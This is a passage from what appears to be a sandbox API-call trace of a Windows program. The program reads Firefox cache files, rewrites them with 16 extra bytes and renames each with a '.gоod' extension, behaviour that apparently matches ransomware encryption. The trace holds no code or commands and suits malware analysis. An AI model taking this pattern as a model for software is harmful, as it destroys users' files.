lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", lpFilePart=0x0) returned 0x7f [0245.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0245.016] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0245.017] GetFileType (hFile=0x808) returned 0x1 [0245.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0245.017] GetFileType (hFile=0x808) returned 0x1 [0245.017] WriteFile (in: hFile=0x808, lpBuffer=0x3ca4ae0*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3ca4ae0*, lpNumberOfBytesWritten=0x1fbeaf38*=0xf30, lpOverlapped=0x0) returned 1 [0245.017] CloseHandle (hObject=0x808) returned 1 [0245.017] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", lpFilePart=0x0) returned 0x7f [0245.017] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC.gоod", lpFilePart=0x0) returned 0x84 [0245.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0245.018] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e422705, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf30)) returned 1 [0245.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0245.018] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc.gоod")) returned 1 [0245.020] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", lpFilePart=0x0) returned 0x7f [0245.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0245.020] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd"), fInfoLevelId=0x0, lpFileInformation=0x3ca5e80 | out: lpFileInformation=0x3ca5e80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc45381d7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc45381d7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc455e324, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4)) returned 1 [0245.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0245.020] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", lpFilePart=0x0) returned 0x7f [0245.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0245.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0245.020] GetFileType (hFile=0x808) returned 0x1 [0245.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0245.020] GetFileType (hFile=0x808) returned 0x1 [0245.020] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x4d4 [0245.020] ReadFile (in: hFile=0x808, lpBuffer=0x3ca6750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3ca6750*, lpNumberOfBytesRead=0x1fbeb028*=0x4d4, lpOverlapped=0x0) returned 1 [0245.468] CloseHandle (hObject=0x808) returned 1 [0246.088] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", lpFilePart=0x0) returned 0x7f [0246.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0246.089] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0246.089] GetFileType (hFile=0x828) returned 0x1 [0246.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0246.089] GetFileType (hFile=0x828) returned 0x1 [0246.089] WriteFile (in: hFile=0x828, lpBuffer=0x3893a18*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3893a18*, lpNumberOfBytesWritten=0x1fbeaf38*=0x4e0, lpOverlapped=0x0) returned 1 [0246.090] CloseHandle (hObject=0x828) returned 1 [0246.090] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", lpFilePart=0x0) returned 0x7f [0246.090] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD.gоod", lpFilePart=0x0) returned 0x84 [0246.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0246.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc45381d7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc45381d7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8ee444c4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0246.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0246.090] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd.gоod")) returned 1 [0246.091] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", lpFilePart=0x0) returned 0x7f [0246.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0246.091] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), fInfoLevelId=0x0, lpFileInformation=0x3894db8 | out: lpFileInformation=0x3894db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f507bc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2f507bc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3999)) returned 1 [0246.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0246.092] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", lpFilePart=0x0) returned 0x7f [0246.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0246.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0246.092] GetFileType (hFile=0x828) returned 0x1 [0246.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0246.092] GetFileType (hFile=0x828) returned 0x1 [0246.092] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0246.092] ReadFile (in: hFile=0x828, lpBuffer=0x3895320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3895320*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0246.093] CloseHandle (hObject=0x828) returned 1 [0246.093] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", lpFilePart=0x0) returned 0x7f [0246.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0246.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0246.093] GetFileType (hFile=0x828) returned 0x1 [0246.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0246.093] GetFileType (hFile=0x828) returned 0x1 [0246.093] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x3999 [0246.094] WriteFile (in: hFile=0x828, lpBuffer=0x38966e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x38966e0*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0246.571] CloseHandle (hObject=0x828) returned 1 [0248.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", lpFilePart=0x0) returned 0x7f [0248.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0248.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0248.040] GetFileType (hFile=0x858) returned 0x1 [0248.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0248.040] GetFileType (hFile=0x858) returned 0x1 [0248.040] ReadFile (in: hFile=0x858, lpBuffer=0x3749fa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x3749fa8*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0248.920] CloseHandle (hObject=0x858) returned 1 [0248.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", lpFilePart=0x0) returned 0x7f [0248.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0248.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0248.920] GetFileType (hFile=0x858) returned 0x1 [0248.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0248.921] GetFileType (hFile=0x858) returned 0x1 [0248.921] WriteFile (in: hFile=0x858, lpBuffer=0x36e4fa0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x36e4fa0*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0248.921] CloseHandle (hObject=0x858) returned 1 [0248.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", lpFilePart=0x0) returned 0x7f [0248.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E.gоod", lpFilePart=0x0) returned 0x84 [0248.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0248.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f507bc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2f507bc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9093d05f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x39a9)) returned 1 [0248.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0248.921] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e.gоod")) returned 1 [0249.103] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", lpFilePart=0x0) returned 0x7f [0249.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0249.103] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), fInfoLevelId=0x0, lpFileInformation=0x38cd478 | out: lpFileInformation=0x38cd478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61ed75c7, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x61ed75c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x61ed75c7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x24707)) returned 1 [0249.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0249.103] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", lpFilePart=0x0) returned 0x7f [0249.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0249.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0249.104] GetFileType (hFile=0x858) returned 0x1 [0249.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0249.104] GetFileType (hFile=0x858) returned 0x1 [0249.104] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0249.104] ReadFile (in: hFile=0x858, lpBuffer=0x38cd9e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x38cd9e0*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0249.105] CloseHandle (hObject=0x858) returned 1 [0249.105] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: 